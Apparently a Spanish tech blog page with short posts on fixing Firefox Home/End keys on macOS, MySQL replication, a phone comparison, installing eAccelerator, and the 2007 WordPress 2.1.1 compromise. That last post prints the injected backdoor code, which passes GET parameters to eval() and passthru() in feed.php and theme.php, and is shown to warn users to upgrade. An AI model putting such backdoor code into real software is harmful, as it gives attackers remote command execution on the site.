Arreglar Inicio/Fin en Firefox2 – MacOSX

Realmente es un incordio que las aplicaciones que no estan echas 100% para MacOSX falla el tema de las teclas de inicio y fin. Asi que investigando un poco me he encontrado con KeyFixer Firefox Como me interesaba como funcionaba he mirado lo que hay dentro del .app y realmente es super sencillo de hacer a mano.

Para arreglar las teclas basta con seguir estos pasos desde un Terminal (IMPORTANTE Cerrar Firefox antes de cambiar nada y conviene hacer una copia del fichero)

$ cp /Applications/Firefox.app/Contents/MacOS/chrome/toolkit.jar /tmp
$ cd /tmp ; unzip toolkit.jar /tmp
$ vi content/global/platformHTMLBindings.xml

Editamos las siguientes lineas:

16
17
18
19
20
<!-- Fix home/end -->
<handler event="keypress" keycode="VK_HOME" command="cmd_beginLine"/>
<handler event="keypress" keycode="VK_END" command="cmd_endLine"/>
<handler event="keypress" keycode="VK_HOME" modifiers="shift" command="cmd_selectBeginLine"/>
<handler event="keypress" keycode="VK_END" modifiers="shift" command="cmd_selectEndLine"/>
79
80
81
82
83
<!-- Fix home/end -->
<handler event="keypress" keycode="VK_HOME" command="cmd_beginLine"/>
<handler event="keypress" keycode="VK_END" command="cmd_endLine"/>
<handler event="keypress" keycode="VK_HOME" modifiers="shift" command="cmd_selectBeginLine"/>
<handler event="keypress" keycode="VK_END" modifiers="shift" command="cmd_selectEndLine"/>
92
93
94
95
<!--handler event="keypress" keycode="VK_HOME" command="cmd_scrollTop"/>
<handler event="keypress" keycode="VK_END"  command="cmd_scrollBottom"/>
<handler event="keypress" keycode="VK_HOME" modifiers="shift" command="cmd_scrollTop"/>
<handler event="keypress" keycode="VK_END" modifiers="shift" command="cmd_scrollBottom"/-->
205
206
207
208
<!--handler event="keypress" keycode="VK_HOME" command="cmd_scrollTop" />
<handler event="keypress" keycode="VK_END"  command="cmd_scrollBottom" />
<handler event="keypress" keycode="VK_HOME" modifiers="shift" command="cmd_scrollTop"/>
<handler event="keypress" keycode="VK_END" modifiers="shift" command="cmd_scrollBottom"/-->

Una vez guardado el fichero, volvemos a generar el .jar

/tmp$ jar cf toolkit.jar content
/tmp$ cp toolkit.jar /Applications/Firefox.app/Contents/MacOS/chrome/toolkit.jar

Arrancamos Firefox y ya tenemos funcionando las teclas de inicio y fin como toca.

Mysql Replication

Aqui voy a explicar como poder montar un sistema de maestro-esclavo(s) en mysql. La idea es que hay un servidor principal, que es en el que se modifican los datos y los esclavos solo estan ahi para tenerlo todo duplicado, esto es perfecto para hacer copias de seguridad. Si la idea es tener transferencia de datos bidireccional, hay que montar un “MySQL Cluster

La replicacion funciona por medio de los binary log de mysql, asi que lo primero sera configurar correctamente el servidor maestro. Asi que añadimos estas opciones en el fichero my.cnf si aun no estan.

[mysql]
#Activamos el log binario
log-bin=mysql-bin
#Establecemos un id para el servidor, el maestro SIEMPRE sera 1
server_id=1
#Esto ayuda por si el master tiene un cuelgue y no haya problemas en la replicacion al volver a arrancarlo
sync_binlog=1
#Si trabajamos con INNODB, hay que activar esto
innodb_flush_log_at_trx_commit=1

IMPORTANTE: Hay que comprobar que la linea skip-networking no este puesta en el master, ya que sino no abrira el puerto

Read more... (268 words, estimated 1:04 mins reading time)

BlackBerry 7130v vs HTC P4350

Hace tiempo que llevo mirando la BlackBerry 7130v, el problema es que este movil solo esta con vodafone, y como tenemos las lineas con movistar resulta bastante molesto tener que cambiar de compañia. Despues de buscar y rebuscar, no habia forma de encontrar nada parecido, hasta que la semana pasada en el corte ingles me enseñaron la HTC P4350.

Realmente la HTC P4350 es una pasada, pequeña, con teclado qwerty, la unica pega… Windows Mobile… despues de investigar un poco, encontre que existe la ultilidad Missing Sync para MacOSX, que es un sustituto para ActiveSync. Asi que despues de meditarlo, me comprare la HTC P4350 con una memoria de 2GB, y asi tendre una PDA+movil pequeña y ligera con especificaciones espectaculares (Bluetooth2/Wi-Fi…) y con posibilidad de ponerme el servicio mail movistar.

Read more... (132 words, 2 images, estimated 32 secs reading time)

WordPress 2.1.1 Comprometido

Hace unos dias alguien ha entrado en la maquina de descargas de worpress y se han cambiado dos ficheros en wp-include en los cuales han metido codigo para ejecutar codigo por medio de parametro GET. Tal como dicen en la web de wordpress hay que actualizar inmeditamente a la version 2.1.2

El codigo injectado esta en estos dos ficheros:

  • wp-includes/feed.php
    84
    85
    86
    
    function comment_text_phpfilter($filterdata) {
        eval($filterdata);
    }
    149
    
    if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
  • wp-includes/theme.php
    408
    409
    410
    
    function get_theme_mcommand($mcds) {
      passthru($mcds);
    }
    441
    
    if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

PHP5 eAccelerator

Hacia tiempo que queria poner esto, pero nunca me he puesto. eAccelerator es un modulo de php que compila y carga en memoria las aplicaciones php, y con esto consigue que haya una mejora de respuesta y descarga bastante el servidor. Aqui os explico como instalar eAccelerator con PHP5 en una debian.

Lo primero que hay que hacer es descargarse la ultima version de eAccelerator, tambien necesitaremos en el server las utilidades de desarrollo de php

apt-get install php5-dev

La instalacion es realmente muy sencilla, solo tenemos que descomprimir, compiler, instalar y configurar.

  • Descomprimimos
tar xvfj eaccelerator-0.9.5.tar.bz2
  • Compilamos
cd eaccelerator-0.9.5
phpize
./configure
make
  • Instalamos (nos pondra el modulo en la carpeta de modulos de php)

2df8561897169ea3fb27fc6a1137a90f079

Read more... (155 words, estimated 37 secs reading time)